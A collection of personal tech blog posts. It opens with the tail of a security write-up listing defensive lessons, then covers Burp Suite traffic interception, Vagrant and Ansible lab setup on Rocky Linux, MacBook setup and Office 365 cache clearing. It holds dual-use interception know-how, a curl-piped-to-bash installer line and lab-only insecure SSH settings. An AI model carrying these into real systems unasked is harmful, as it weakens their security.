
Information Disclosure is Dangerous: Developer comments and verbose README files can provide attackers with the exact version numbers needed to find exploits.
Weak Credentials are a Gift: Always change default passwords and avoid using simple, guessable credentials.
Validate File Uploads: Never trust user-supplied files. Implement strict file type validation and ensure uploaded files are not executed on the server.
Secure Sudo Rules: Never grant sudo privileges to scripts located in user-writable directories. This is a direct and easily exploitable path to root.

By understanding these fundamental flaws, both developers and security professionals can build and maintain more secure systems.

A Step-by Step Guide to enable Intercepting Traffic with Burp Suite and FoxyProxy

Techie-stronaut — Sun, 02 Nov 2025 10:33:22 GMT

Welcome! If you’re diving into web security or development, one of the first skills you’ll need is the ability to see and manipulate the traffic between your browser and a web server. This guide will walk you through the entire process of setting up FoxyProxy in Firefox to send traffic to Burp Suite Community Edition, culminating in your very first captured request.
FoxyProxy (Initial page)
BurpSuite (Initial Proxy Tab)
Part 1: Configuring FoxyProxy: Pointing Firefox to Burp Suite
First, we need to tell Firefox where to send its traffic. We’ll use the FoxyProxy extension to create a profile that points directly to Burp Suite’s default listener.
Step 1: Add a New Proxy Profile
In the FoxyProxy options menu, click on the “Proxies” tab at the top.
Step 2: Enter Burp Suite’s Details
On the Proxies screen, click the “Add” button to create a new profile. A form will appear. Fill it out with these exact settings, which match Burp Suite’s default configuration:
Title: Burp Suite (or any name you’ll easily recognize)
Proxy IP address or DNS name: 127.0.0.1
Port: 8080
Your configuration should look exactly like this. Once you’re done, click “Save”.
Step 3: Activate the Burp Suite Proxy
Now, click the FoxyProxy icon in your Firefox toolbar. A menu will appear. Select the “Burp Suite” profile you just created to activate it.
With that, Firefox is now sending all its traffic to port 8080 on your local machine. Next, let’s get Burp Suite ready to catch it.
Part 2: Preparing Burp Suite: The Interception Station
Now we move to the Burp Suite application. Here, we’ll ensure it’s listening for traffic and that its intercept feature is turned on.
Step 1: Verify the Proxy Listener is Active
First, let’s make sure Burp Suite has a “door” open to listen for the traffic from Firefox.
In Burp Suite, go to the Proxy tab, then the Proxy settings sub-tab.
In the “Proxy Listeners” section, confirm that the entry for 127.0.0.1:8080 is present and the checkbox under the “Running” column is ticked.
This checkmark confirms Burp is actively listening for connections.
Step 2: Arm the Intercept
With Burp listening, the final step is to enable the interception feature. This acts as a roadblock, holding requests so you can inspect them.
Navigate to the Proxy -> Intercept sub-tab.
Click the button so that it reads “Intercept is on”.
Your setup is now complete and armed!
Part 3: The Magic Moment — Capturing Your First Request
At this point, you’ll notice the “Forward” button in Burp Suite is greyed out. This is perfectly normal! It’s disabled because no traffic has arrived at our roadblock yet.
Let’s bring it to life.
Go to your Firefox browser (where the “Burp Suite” profile in FoxyProxy is still active) and try to visit any webpage. For this example, we’re navigating to a login page.
Voilà! The moment you make the request, your browser will pause, and the Burp Suite window will immediately update, displaying the full HTTP request it just captured. You’ll see that the “Forward” button is now active and orange.
Congratulations! You have successfully intercepted your first web request. You can now analyze the headers and body of the request, modify them if you wish, and then click Forward to send the traffic to its destination server.

How to Fix “No Usable Default Provider Could Be Found for Your System” Error in Vagrant on Rocky…

Techie-stronaut — Tue, 01 Oct 2024 12:55:16 GMT

How to Fix “No Usable Default Provider Could Be Found for Your System” Error in Vagrant on Rocky Linux 9.4
If you’re encountering the “no usable default provider could be found for your system” error when running vagrant up on Rocky Linux 9.4, it's typically due to missing dependencies required to build VirtualBox kernel modules or because VirtualBox is not being recognized by Vagrant. This guide walks you through resolving these issues step by step.
1. Install Required Build Dependencies
VirtualBox requires certain development tools and kernel headers to build its kernel modules. Without these, Vagrant may not detect VirtualBox correctly.
1.1. Update Your System
Before proceeding, make sure your system packages are up-to-date:
sudo dnf update -y
1.2. Install Development Tools and Kernel Headers
Next, install the necessary packages (gcc, make, perl, kernel-devel, kernel-headers) for building VirtualBox kernel modules:
sudo dnf install -y gcc make perl kernel-devel kernel-headers
Important:
Ensure that the kernel-devel and kernel-headers versions match your current running kernel. You can verify your kernel version with:bash
uname -r
If your current kernel version is, for example, 5.14.0-427.13.1.el9_4.x86_64, install the matching kernel headers and development package:
sudo dnf install -y kernel-devel-$(uname -r) kernel-headers-$(uname -r)
2. Rebuild VirtualBox Kernel Modules
Once the required dependencies are installed, you need to rebuild the VirtualBox kernel modules. This is a critical step to ensure VirtualBox can run properly.
sudo /sbin/vboxconfig
Possible Outcomes:
Success: You’ll see messages indicating that VirtualBox services have been stopped and restarted, and the kernel modules are being built successfully.
Failure: If errors occur, especially related to Secure Boot, follow the steps in the next section.
3. Handle Secure Boot (If Applicable)
If your system uses EFI Secure Boot, it might prevent the loading of unsigned kernel modules, including those required by VirtualBox. Here are two solutions:
3.1. Disable Secure Boot
This is the simplest and most common solution, but note that disabling Secure Boot may reduce the security of your system.
Steps to Disable Secure Boot:
Reboot Your System:
sudo reboot
Enter BIOS/UEFI Settings:
During the boot process, press keys like F2, F10, Del, or Esc (this depends on your hardware).
Disable Secure Boot
Navigate to the Secure Boot settings and change the setting to Disabled.
Save and Reboot:
Save the changes and reboot your system.
Rebuild VirtualBox Kernel Modules:
After rebooting, run:
sudo /sbin/vboxconfig
3.2. Sign VirtualBox Kernel Modules
If you wish to keep Secure Boot enabled, you’ll need to sign the VirtualBox kernel modules manually. This requires generating and enrolling your own signing keys into the system’s MOK (Machine Owner Key). For detailed instructions, refer to the VirtualBox documentation.
4. Verify VirtualBox Installation
To ensure VirtualBox is properly installed and recognized, verify its version:
VBoxManage --version
Expected Output: You should see a version number like 7.0.6r137139, confirming VirtualBox is installed.

Ansible with Rocky Linux 9.4: The Ultimate Zero to Mastery Guide

Techie-stronaut — Mon, 30 Sep 2024 14:43:36 GMT

Introduction
In today’s fast-paced IT environment, automation is no longer a luxury but a necessity. Ansible, a powerful open-source automation tool, simplifies configuration management, application deployment, and task automation across your servers. When combined with Rocky Linux 9.4 — a community enterprise operating system designed to be 100% bug-for-bug compatible with Red Hat Enterprise Linux (RHEL) — you get a robust platform for managing your infrastructure efficiently.
This comprehensive guide will walk you through setting up an Ansible environment using Rocky Linux 9.4 with Vagrant and VirtualBox. Whether you’re a system administrator, DevOps engineer, or IT enthusiast, this tutorial is designed to help you master Ansible and automate your infrastructure with ease.
1. Prerequisites
Before you begin, ensure you have the following on your host machine:
Operating System: A Unix-like OS (Linux or macOS). Windows users can use WSL2 or a Linux virtual machine.
Hardware: At least 8 GB of RAM and sufficient CPU resources to run multiple VMs.
Internet Connection: To download required software and Vagrant boxes.
Software:
VirtualBox: Version 7.0
Vagrant: Version 2.4.1
Disable Secure Boot : Secure Boot can prevent unsigned kernel modules from loading.
1.1 System Preparation
Before installing VirtualBox and Vagrant, it’s essential to ensure your system is up-to-date and has all the required kernel modules and development tools.
Step 1: Update Your System
It’s a best practice to keep your system updated to the latest packages and security patches.
sudo dnf update -y
Step 2: Install Kernel Headers and Development Tools
VirtualBox requires specific kernel modules and development tools to function properly. These tools help VirtualBox build kernel modules that match your system’s kernel.
sudo dnf install -y gcc make perl kernel-devel kernel-headers
gcc: GNU Compiler Collection, necessary to compile kernel modules.
make: A utility that builds kernel modules based on Makefiles.
perl: A scripting language used by some build scripts.
kernel-devel: Kernel development package required to build VirtualBox modules.
kernel-headers: Provides the C header files for the current kernel, used when compiling kernel modules.
Step 3: Verify the Installed Kernel Version
Ensure that the installed kernel headers match the running kernel version.
uname -r
This will output your current kernel version. For example:
5.14.0-162.6.1.el9_0.x86_64
Install the matching kernel headers:
sudo dnf install -y kernel-devel-$(uname -r) kernel-headers-$(uname -r)
This command automatically installs the correct versions of kernel-devel and kernel-headers that match your running kernel.
Step 4: Reboot Your System
After updating your system and installing the necessary tools, reboot your system to ensure that any kernel updates or changes take effect.
sudo reboot
By preparing your system in this manner, you’ll ensure a smooth installation of VirtualBox and Vagrant without issues related to kernel compatibility or missing dependencies.
2. Setting Up the Virtual Environment
To create a fully functional virtual lab environment for Ansible using Vagrant and VirtualBox, we’ll walk through the steps to install, configure, and provision your environment. This environment will consist of one Ansible Control Node and several Managed Nodes running Rocky Linux 9.4.
2.1 Installing VirtualBox
VirtualBox is required as the virtualization platform for Vagrant. Since Vagrant works best with VirtualBox 7.0, we’ll avoid the newer 7.1 version (as Vagrant compatibility is limited).
Step-by-Step Installation:
Add the VirtualBox Repository:
To install the compatible version of VirtualBox on Rocky Linux 9.4, first, add the official VirtualBox repository:
sudo wget -O /etc/yum.repos.d/virtualbox.repo https://download.virtualbox.org/virtualbox/rpm/rhel/virtualbox.repo
Install Required Dependencies:
Install necessary system packages, such as kernel headers, development tools, and VirtualBox itself:
sudo dnf install -y gcc make perl dkms kernel-devel kernel-headers
Install VirtualBox (Version 7.0):
Now, install VirtualBox 7.0 explicitly to avoid compatibility issues:
sudo dnf install -y VirtualBox-7.0
Rebuild Kernel Modules for VirtualBox:
After installation, rebuild the VirtualBox kernel modules to ensure they load properly:
sudo /sbin/vboxconfig
Verify the Installation:
You can check the installed VirtualBox version using the following command:
VBoxManage -version
This should return a version number starting with 7.0.
Install the VirtualBox Extension Pack (Optional):
The VirtualBox Extension Pack provides additional functionality such as support for USB devices. Download and install it from here.
2.2 Installing Vagrant
Vagrant is used to manage and automate the provisioning of virtual machines. It interacts with VirtualBox to spin up the virtualized infrastructure.
Step-by-Step Installation:
Add the HashiCorp Repository:
HashiCorp, the makers of Vagrant, provide an official repository for RHEL-compatible distributions (such as Rocky Linux). To ensure you’re using the latest version, add the repository:
sudo dnf install -y dnf-plugins-core
sudo dnf config-manager --add-repo https://rpm.releases.hashicorp.com/RHEL/hashicorp.repo
Install Vagrant:
Now, install Vagrant from the newly added repository:
sudo dnf install -y vagrant
Verify the Installation:
Check that Vagrant has been installed correctly by running:
vagrant --version
This should display the installed Vagrant version (ensure it’s the latest available version).
Ensure Vagrant Is in Your PATH:
In case Vagrant is not in your PATH (i.e., running vagrant returns a "command not found" error), add Vagrant’s binary path to your environment. Edit your .bashrc or .bash_profile to include:
export PATH=$PATH:/usr/local/bin/vagrant
Then reload the shell configuration:
source ~/.bashrc
2.3 Creating the Project Directory
After installing VirtualBox and Vagrant, you need to create a working directory for your virtual environment setup.
Steps to Set Up Your Project:
Create a Directory for the Project:
This directory will contain your Vagrantfile and any related configuration files.
mkdir ~/ansible-rocky-linux
cd ~/ansible-rocky-linux
Initialize the Vagrant Environment:
Use Vagrant’s init command to create a Vagrantfile in this directory, which will define your virtual machines:
vagrant init
Edit the Vagrantfile:
In the next steps, you’ll configure this Vagrantfile to define the Ansible control node and managed nodes (covered later in the guide)
3. Creating the Vagrantfile
The Vagrantfile defines the configuration of the virtual machines that Vagrant will manage.
3.1 Defining Virtual Machines
Create a Vagrantfile in your project directory:
vagrant init
Now, edit the Vagrantfile:
vi Vagrantfile
Replace the contents with the following configuration:
# Vagrantfile for Rocky Linux 9.4 Environment
VAGRANTFILE_API_VERSION = "2"

Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
# Use same SSH key for each machine
config.ssh.insert_key = false
config.vm.box_check_update = false

# Define base box
BOX_NAME = "generic/rocky9"

# Repo Machine
config.vm.define "repo" do |repo|
repo.vm.box = BOX_NAME
repo.vm.hostname = "repo.ansi.example.com"
repo.vm.network "private_network", ip: "192.168.56.199"
repo.vm.provider "virtualbox" do |vb|
vb.memory = "1024"
end
repo.vm.provision "shell", inline: <<-SHELL
sudo dnf install -y epel-release
sudo dnf install -y sshpass python3-pip python3-devel httpd vsftpd createrepo
python3 -m pip install --upgrade pip
python3 -m pip install pexpect ansible
SHELL
end

# Define a method to configure nodes
def configure_node(config, name, ip, memory)
config.vm.define name do |node|
node.vm.box = BOX_NAME
node.vm.hostname = "#{name}.ansi.example.com"
node.vm.network "private_network", ip: ip
node.vm.provider "virtualbox" do |vb|
vb.memory = memory
end
node.vm.provision "shell", inline: <<-SHELL
echo 'Provisioning #{name}'
# Additional provisioning steps can go here
SHELL
end
end

# Configure nodes
configure_node(config, "control", "192.168.56.200", "2048")
configure_node(config, "node1", "192.168.56.201", "1024")
configure_node(config, "node2", "192.168.56.202", "1024")
configure_node(config, "node3", "192.168.56.203", "512")
configure_node(config, "node4", "192.168.56.204", "512")
end
3.2 Understanding the Vagrantfile
Base Box: We’re using the generic/rocky9 Vagrant box, which is a minimal Rocky Linux 9.4 image.
Machines:
control: Ansible control node .
node1,node2,node3,node4: Managed nodes .
repo: A repository server, if needed for future use.
Networking: Each machine is assigned a static private IP in the 192.168.56.0/24 network.
Provisioning: Installs EPEL repository and Python 3, which is required for Ansible.
4. Provisioning the Virtual Machines
After installing VirtualBox and Vagrant, you’re ready to provision and launch the virtual machines that make up your Ansible lab. This section will guide you through starting the VMs and troubleshooting common issues.
4.1 Starting the Virtual Machines
To start all the virtual machines defined in your Vagrantfile, follow these steps:
Navigate to Your Project Directory:
This is where you have your Vagrantfile:
cd ~/ansible-rocky-linux
Start All Virtual Machines:
Run the following command to bring up the entire virtual environment:
vagrant up
Explanation:
Vagrant will check if the Rocky Linux 9.4 box is already downloaded.
If the box is not present, Vagrant will automatically download it from the internet.
Vagrant will then start each VM as defined in the Vagrantfile.
SSH Into the Control Node:
Once the VMs are up, you can access the Ansible Control Node with the following command:
vagrant ssh control
This command will log you into the control node (defined as the Ansible control machine in the Vagrantfile).
(Optional) Reset the Password for the vagrant User:
If you need to reset the password for the vagrant user on any of the virtual machines (e.g., for testing or security purposes), follow these steps:
vagrant ssh control
sudo passwd vagrant
Enter the new password when prompted.
Enable Password Authentication for SSH:
By default, Vagrant uses SSH key-based authentication, but if you prefer password-based authentication, you’ll need to enable it in the SSH configuration.
Edit the SSH Config File:
Open the /etc/ssh/sshd_config file in a text editor:
sudo vi /etc/ssh/sshd_config
Modify the Configuration:
Find the line that reads PasswordAuthentication and change its value to yes:
PasswordAuthentication yes
Save and Exit:
Press Esc and type :wq! to save and exit the file.
Restart the SSH Service:
Apply the changes by restarting the SSH service:
sudo systemctl restart sshd
4.2 Troubleshooting Common Issues
Even with the best setup, issues may arise when using Vagrant and VirtualBox. Here are common problems and how to address them.
1. VirtualBox Kernel Modules Not Loaded
If you encounter errors related to VirtualBox kernel modules, such as the infamous kernel driver not installed error, it usually means that the kernel modules required for VirtualBox aren’t loaded correctly.
Fix the Issue:
Ensure that your kernel headers and VirtualBox versions match. Rebuild the VirtualBox kernel modules by running:
sudo /sbin/vboxconfig
If this fails, reinstall VirtualBox and ensure all dependencies are correctly installed.
2. IP Address Conflicts
If you’re seeing conflicts due to duplicate IP addresses being used in your network, you can adjust the IPs in the Vagrantfile to avoid overlap.
How to Change IP Addresses:
If there’s a conflict, you can edit the Vagrantfile to use a different range of IPs. For example, if the IP range 192.168.56.0/24 is already in use, you can change the IP addresses for your VMs:
# Example IP adjustment in Vagrantfile config.vm.network "private_network", ip: "192.168.57.199" # Adjust this IP
Update the IPs for the repo, control, and managed nodes (node1, node2, etc.) in your Vagrantfile.
3. Provider Not Found
If Vagrant can’t find VirtualBox or if it’s defaulting to another provider like libvirt, you can explicitly specify VirtualBox as the provider when bringing up the VMs.
Fix:
Force Vagrant to use VirtualBox as the provider with the following command:
vagrant up --provider=virtualbox
4. Host-Only Network IP Address Error
If you encounter the following error:
The IP address configured for the host-only network is not
within the allowed ranges.
Please update the address used to be within the allowed ranges and
run the command again.

Address: 192.168.56.199
Ranges: 192.168.57.0/21
This means that the IP address you’re trying to use is outside the range allowed by VirtualBox’s host-only network configuration.
How to Fix the Issue:
Modify the IP addresses in the Vagrantfile to fall within the allowed range (e.g., 192.168.57.x). Here's an example of how you can update the IP addresses:
Original problematic IP range: 192.168.56.x
New valid range: 192.168.57.x
In your Vagrantfile, change the IP addresses for the VMs from 192.168.56.x to 192.168.57.x:
config.vm.network "private_network", ip: "192.168.57.199" config.vm.network "private_network", ip: "192.168.57.200" config.vm.network "private_network", ip: "192.168.57.201" # Continue for other nodes
Once you’ve made the changes, rerun the vagrant up command:
vagrant up
4.3 Summary
Starting the VMs: Use vagrant up to spin up your entire virtual environment, including the control and managed nodes.
Password Authentication: If needed, modify the SSH configuration to enable password authentication on the control node.
Common Issues: Kernel modules, IP conflicts, and VirtualBox provider detection are common issues that can be easily resolved using the steps outlined above.
By following these steps, you should be able to bring up your Ansible environment without issues, ensuring that you have a fully functional virtual lab running Rocky Linux 9.4.
5. Configuring the Ansible Control Node
Once you’ve provisioned the VMs, the next step is configuring the Ansible Control Node, where Ansible will be installed and from where it will communicate with the managed nodes. The steps below will guide you through installing Ansible and configuring secure SSH access between the control node and the managed nodes.
5.1 Installing Ansible on the Control Node
First, we need to install Ansible on the Control Node, which is the central machine that will run Ansible commands and manage your environment.
Steps:
SSH into the Control Node:
Using Vagrant, SSH into the Control Node from your host machine:
vagrant ssh control
Install the EPEL Repository:
The Extra Packages for Enterprise Linux (EPEL) repository is required to install Ansible on Rocky Linux. Run the following command to add EPEL to your system:
sudo dnf install -y epel-release
Install Ansible:
After adding the EPEL repository, install Ansible by running:
sudo dnf install -y ansible
Verify the Installation:
Once installed, verify that Ansible is properly installed and the version is correct:
ansible --version
Expected Output:
You should see the installed Ansible version, the Python version, and the configuration file paths.
Example output:
ansible 2.10.8
config file = /etc/ansible/ansible.cfg
configured module search path = ['/usr/share/ansible/plugins/modules']
python version = 3.8.8 (default, May 3 2021, 08:56:16) [GCC 8.3.1 20191121 (Red Hat 8.3.1-5)]
Check Ansible Configuration:
Ensure the default configuration works for your environment, or adjust the settings in /etc/ansible/ansible.cfg if needed.
The default configuration should suffice for most basic setups, but for more advanced scenarios, you may need to tweak options like inventory and remote_user.
5.2 Configuring SSH Access From Host Machine to Control Node
To automate tasks across your managed nodes, Ansible uses SSH. We need to configure the Control Node so that it can securely communicate with the managed nodes using SSH key-based authentication.
Vagrant provides an insecure private key for the vagrant user, which we will use to set up SSH access from the Control Node to the managed nodes. Follow the steps below to securely copy and configure the SSH key on the Control Node.
Steps:
5.2.1 Copy the Vagrant Insecure Private Key (Executed on Host Machine)
On your host machine, the Vagrant insecure private key is located at ~/.vagrant.d/insecure_private_key. We'll need to copy this key to the Control Node to establish SSH key-based authentication.
Step 1: Install the vagrant-scp Plugin (on the Host Machine)
The vagrant-scp plugin allows you to securely copy files between your host machine and the virtual machines.
To install the plugin, run:
vagrant plugin install vagrant-scp
Explanation: This plugin is essential for copying files (like SSH keys) between your local machine and the Vagrant-managed virtual machines.
Step 2: Copy the Insecure Private Key to the Control Node
Use the vagrant scp command to securely copy the Vagrant insecure private key to the Control Node.
On your host machine, execute the following command:
vagrant scp ~/.vagrant.d/insecure_private_key control:/home/vagrant/.ssh/id_rsa_vagrant
Explanation: This command copies the private key located in your host’s ~/.vagrant.d/ directory to the Control Node’s .ssh directory.
Step 3: Set Correct Permissions on the Control Node
After copying the key, log into the Control Node and set the appropriate permissions for the SSH private key.
SSH into the Control Node:
vagrant ssh control
Set the Correct File Permissions:
Run the following command to ensure the SSH private key is only accessible by the owner (vagrant user):
chmod 600 /home/vagrant/.ssh/id_rsa_vagrant
Explanation: This sets strict file permissions (read/write only by the owner), which is required for SSH to function securely.
Step 4: Test SSH Access Between the Control Node and Managed Nodes
After copying the key and setting the correct permissions, ensure that the Control Node can SSH into the managed nodes without requiring a password.
On the Control Node, try SSH’ing into one of the managed nodes:
ssh -i /home/vagrant/.ssh/id_rsa_vagrant vagrant@192.168.56.201
Expected Outcome: You should be able to log in to node1 (or any other managed node) without a password prompt.
If Successful: The SSH key is correctly configured, and the Control Node can communicate with the managed nodes.
If Unsuccessful: Double-check the file paths and permissions, and ensure the Vagrant environment is running properly.
5.3 Setting Up the Ansible Inventory
Create an inventory file that defines the managed nodes.
Create the Inventory Directory:
mkdir -p ~/ansible cd ~/ansible
Create the Inventory File:
vi inventory
Add the Following Content:
[nodes]
node1.ansi.example.com ansible_host=192.168.56.201 ansible_user=vagrant ansible_ssh_private_key_file=/home/vagrant/.ssh/id_rsa_vagrant
node2.ansi.example.com ansible_host=192.168.56.202 ansible_user=vagrant ansible_ssh_private_key_file=/home/vagrant/.ssh/id_rsa_vagrant
node3.ansi.example.com ansible_host=192.168.56.203 ansible_user=vagrant ansible_ssh_private_key_file=/home/vagrant/.ssh/id_rsa_vagrant
node4.ansi.example.com ansible_host=192.168.56.204 ansible_user=vagrant ansible_ssh_private_key_file=/home/vagrant/.ssh/id_rsa_vagrant

[webservers]
node1.ansi.example.com ansible_host=192.168.56.201 ansible_user=vagrant ansible_ssh_private_key_file=/home/vagrant/.ssh/id_rsa_vagrant
node2.ansi.example.com ansible_host=192.168.56.202 ansible_user=vagrant ansible_ssh_private_key_file=/home/vagrant/.ssh/id_rsa_vagrant
node3.ansi.example.com ansible_host=192.168.56.203 ansible_user=vagrant ansible_ssh_private_key_file=/home/vagrant/.ssh/id_rsa_vagrant
node4.ansi.example.com ansible_host=192.168.56.204 ansible_user=vagrant ansible_ssh_private_key_file=/home/vagrant/.ssh/id_rsa_vagrant

[repo]
repo.ansi.example.com ansible_host=192.168.56.199 ansible_user=vagrant ansible_ssh_private_key_file=/home/vagrant/.ssh/id_rsa_vagrant

[control]
control.ansi.example.com ansible_host=192.168.56.200 ansible_user=vagrant ansible_ssh_private_key_file=/home/vagrant/.ssh/id_rsa_vagrant
5.4 Configuring Ansible Settings
Create an ansible.cfg file to define Ansible's behavior.
Create the Configuration File:
vi ansible.cfg
Add the Following Content:
[defaults]
inventory = /home/vagrant/ansible/inventory
host_key_checking = False
deprecation_warnings = False
stdout_callback = yaml
remote_user = vagrant
private_key_file = /home/vagrant/.ssh/id_rsa_vagrant
retry_files_enabled = False

[ssh_connection]
ssh_args = -o ControlMaster=auto -o ControlPersist=60s
pipelining = True

[privilege_escalation]
become = True
become_method = sudo
become_user = root
become_ask_pass = False
Explanation:
[defaults]:
inventory: Specifies the path to the inventory file.
host_key_checking: Disables SSH host key checking.
remote_user: Default SSH user.
private_key_file: Path to the SSH private key.
[ssh_connection]:
pipelining: Improves performance by reducing the number of SSH operations.
[privilege_escalation]:
Configures Ansible to use sudo for privilege escalation.
7. Testing Ansible Connectivity
On the control node, test connectivity to all managed nodes.
ansible all -m ping
Expected Output:

node1.ansi.example.com | SUCCESS => {
"changed": false,
"ping": "pong"
}
node2.ansi.example.com | SUCCESS => {
"changed": false,
"ping": "pong"
}
repo.ansi.example.com | SUCCESS => {
"changed": false,
"ping": "pong"
}
control.ansi.example.com | SUCCESS => {
"changed": false,
"ping": "pong"
}
If any nodes are unreachable, revisit the SSH configuration steps.
8. Writing and Executing Ansible Playbooks
Ansible playbooks are YAML files that define a series of tasks to automate.
8.1 Creating a Playbook to Install Apache
Create the Playbook File:
vi ~/ansible/setup_webservers.yml
Add the Following Content:
---
- name: Setup Apache on all webservers
hosts: webservers
become: yes
tasks:
- name: Install Apache
yum:
name: httpd
state: present

- name: Start and Enable Apache
service:
name: httpd
state: started
enabled: yes

- name: Create a Simple HTML Page
copy:
content: "
Apache is successfully installed!
"
dest: /var/www/html/index.html
owner: apache
group: apache
mode: '0644'

- name: Ensure Firewall Allows HTTP Traffic
firewalld:
service: http
permanent: yes
state: enabled

- name: Reload Firewall to Apply Changes
command: firewall-cmd --reload
# HOlding off
#when: ansible_facts['os_family'] == 'RedHat'
8.2 Understanding the Playbook Tasks
Install Apache:
Uses the yum module to ensure httpd is installed.
Start and Enable Apache:
Uses the service module to start Apache and enable it at boot.
Create a Simple HTML Page:
Deploys a basic index.html to the web server's root directory.
Ensure Firewall Allows HTTP Traffic:
Uses the firewalld module to allow HTTP service through the firewall.
Reload Firewall:
Reloads the firewall to apply changes,
8.3 Running the Playbook
Execute the playbook:

ansible-playbook ~/ansible/setup_webservers.yml
Expected Output:
Ansible will display the status of each task for every host. Tasks that change the system state will be marked as changed.
9. Verifying the Deployment
9.1 Checking Apache Service Status
SSH into one of the web servers:
vagrant ssh node1

sudo systemctl status httpd
The service should be active (running).
9.2 Accessing the Web Server
Since the VMs are on a private network, you can access the web server from your host machine by port forwarding or setting up bridged networking.
Option 1: Port Forwarding
Modify the Vagrantfile:
Add the following within the node’s configuration:
node.vm.network "forwarded_port", guest: 80, host: 8081, auto_correct: true
Reload the VM:
vagrant reload node1
Access the Web Page:
Open a browser and navigate to http://localhost:8081. You should see the message:
Apache is successfully installed!
10. Best Practices
Use Ansible Roles:
Organize your playbooks into roles for better structure and reusability.
Secure Sensitive Data:
Use Ansible Vault to encrypt passwords and sensitive information.
Version Control:
Keep your playbooks in a Git repository to track changes and collaborate.
Testing:
Test your playbooks in a staging environment before deploying to production.
Documentation:
Comment your playbooks and maintain external documentation.
11. Conclusion
Congratulations! You’ve set up a complete Ansible environment using Rocky Linux 9.4. You’ve learned how to:
Create a virtual lab environment with Vagrant and VirtualBox.
Configure an Ansible control node and managed nodes.
Write and execute Ansible playbooks.
Automate the deployment of services like Apache HTTP Server.
With this foundation, you’re well on your way to mastering Ansible for automating complex infrastructure tasks.
12. Additional Resources
Ansible Documentation: Ansible User Guide
Rocky Linux Official Site: rockylinux.org
Vagrant Documentation: Vagrant Docs
VirtualBox Documentation: VirtualBox Docs

Initial Setup Guide for Your MacBook

Techie-stronaut — Sat, 14 Sep 2024 11:51:33 GMT

Initial Setup Guide for MacBook
Battery Efficiency Check
To check the battery status, hold the Option key and click the Apple logo in the top-left corner. Then, navigate to System Information -> Power where you'll find details like:
Cycle Count: Number of full charge cycles.
Condition: Battery health (should say “Normal” if in good condition).
Maximum Capacity: Current battery capacity compared to when the MacBook was new.
In myscreenshot:
Cycle Count: 193
Condition: Normal
Maximum Capacity: 88% (good state of health, still functioning well).
Changing Scroll Direction (Trackpad Settings)
Windows users are used to the opposite scroll direction of macOS. To change this:
Click the Apple Menu → System Settings.
Select Trackpad → Scroll & Zoom.
Toggle the Natural scrolling setting off to reverse the scrolling direction (like on Windows).
Modifier Key Customization (Make macOS More Like Windows)
If you’re a Windows user and want the Control and Command keys swapped:
Go to Keyboard in the System Settings.
Click Modifier Keys.
Swap the Control (⌃) key with the Command (⌘) key so the layout feels more familiar to Windows.
Keyboard Shortcuts for Screenshots
macOS offers flexible options for capturing screenshots:
Go to System Settings → Keyboard → Shortcuts → Screenshots.
You can customize the shortcuts here. For example:
Control + Command + Shift + 3: Full-screen screenshot.
Control + Command + Shift + 4: Selected area screenshot.
To Save screenshot to file, use Command + Shift + 4, then press space for window screenshots or drag for area screenshots.
Options + tab -> command + tab (Show Launchpad)
Removing Periods When Double Pressing Spacebar
Sometimes macOS inserts a period when you double-tap the spacebar:
Go to System Settings → Keyboard -> Input Sources -> Edit.
Disable Add period with double space.
맥북 마침표 오타 현상과 맥북 유용한 단축키 | 몰리의 블로그
Dock Customization (Similar to Windows Taskbar)
To make the macOS Dock behave like the Windows taskbar:
Go to System Settings → Dock & Menu Bar.
Enable Automatically hide and show the Dock to keep it hidden unless you move the mouse to the bottom of the screen.
You can also set the Position on screen to the bottom for a more Windows-like experience.
Downloading Homebrew (macOS Package Manager)
Open Terminal and run:
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
After installation, configure it by running:
PATH=$PATH:/opt/homebrew/bin export PATH
Update and upgrade:
brew update brew upgrade
Installing iTerm2 (Better Terminal Experience)
You can install iTerm2, a popular terminal app, using Homebrew:
brew install --cask iterm2
(https://www.youtube.com/watch?v=IWJKRmFLn-g&ab_channel=EasyOSX)
Setting up Karabiner-Elements (Advanced Keyboard Customization) — Optional
If you need more advanced key mapping:
Download Karabiner-Elements from here . I prefer older version not to face error. so download 14.11.0 version.
You can assign function keys or re-map keys like Caps Lock to act as a different key (e.g., F18 or custom commands.). To switch smoothly from Korean to English for me
카라비너
Keyboard > Hotkeys > Input Source
Select the following source from the Input menu: Specify a function key (e.g. F18)
Installing Spectacle (Window Manager)
To manage windows more efficiently (like snapping in Windows):
Install Spectacle via Homebrew:
brew install --cask spectacle
Configure shortcuts in Spectacle to align windows into halves or thirds of the screen.
Downloading Google Chrome via Homebrew
For convenience, you can install Google Chrome through Homebrew:
brew install --cask google-chrome
Later Update…
Brave Browser
Google Chrome Browser
Picham
IntelliJ
vs code (python extension, live server, rainbow bracket..)
MySQL
MySQL workbench
postgresql
KakaoTalk
gitkraken
docker
vmware fusion player — download ubuntu linux
surfshark
Office365
OneDrive
GoogleDrive

Office 365 Troubleshooting Guide

Techie-stronaut — Wed, 11 Sep 2024 08:13:41 GMT

If you’re experiencing issues with Office 365 applications, follow this comprehensive step-by-step guide to resolve common problems:
1. Online Repair of Office 365 Programs
Performing an online repair can fix many common issues without reinstalling the entire Office suite.Steps:
Right-click the Start button (lower-left corner) and select “Installed apps”
Locate your Office product and click the ellipses (…)
Select “Modify”
In the window that pops up, select “Online Repair” > “Repair”
Follow the prompts to complete the process
Note: This will repair the entire Office suite, even if only one application (like Word or Excel) is problematic.
2. Clear Cache from Office 365 Programs
Clearing cache can help resolve performance issues, sync problems, and errors in various O365 apps.
Clear Cache from Outlook
Close Outlook
Navigate to: C:\Users\YourUsername\AppData\Local\Microsoft\Outlook
Find the .ost file associated with your email account and delete it
Restart Outlook (the file will be rebuilt automatically)
Clear temporary files:
Press Windows + R, type %localappdata%\Microsoft\Outlook, and press Enter
Delete the contents in the Temp folder
Clear Cache from Microsoft Teams
Close Microsoft Teams completely
Press Windows + R, type %appdata%\Microsoft\Teams, and press Enter
Delete all files in the following subdirectories:
application cache\cache
blob_storage
Cache
databases
GPUcache
IndexedDB
Local Storage
tmp
4. Restart Teams
Clear Cache from OneDrive
Open File Explorer
Navigate to: %localappdata%\Microsoft\OneDrive
Delete all files and folders within this directory
Clear Cache from Word, Excel, PowerPoint
Press Windows + R, type %temp%, and press Enter
Delete all files in the temp folder to resolve cache-related issues
Clear OneNote Cache
Close OneNote
Press Windows + R, type %localappdata%\Microsoft\OneNote, and press Enter
Go to the folder for your OneNote version (e.g., 16.0 for Office 2016/Office 365)
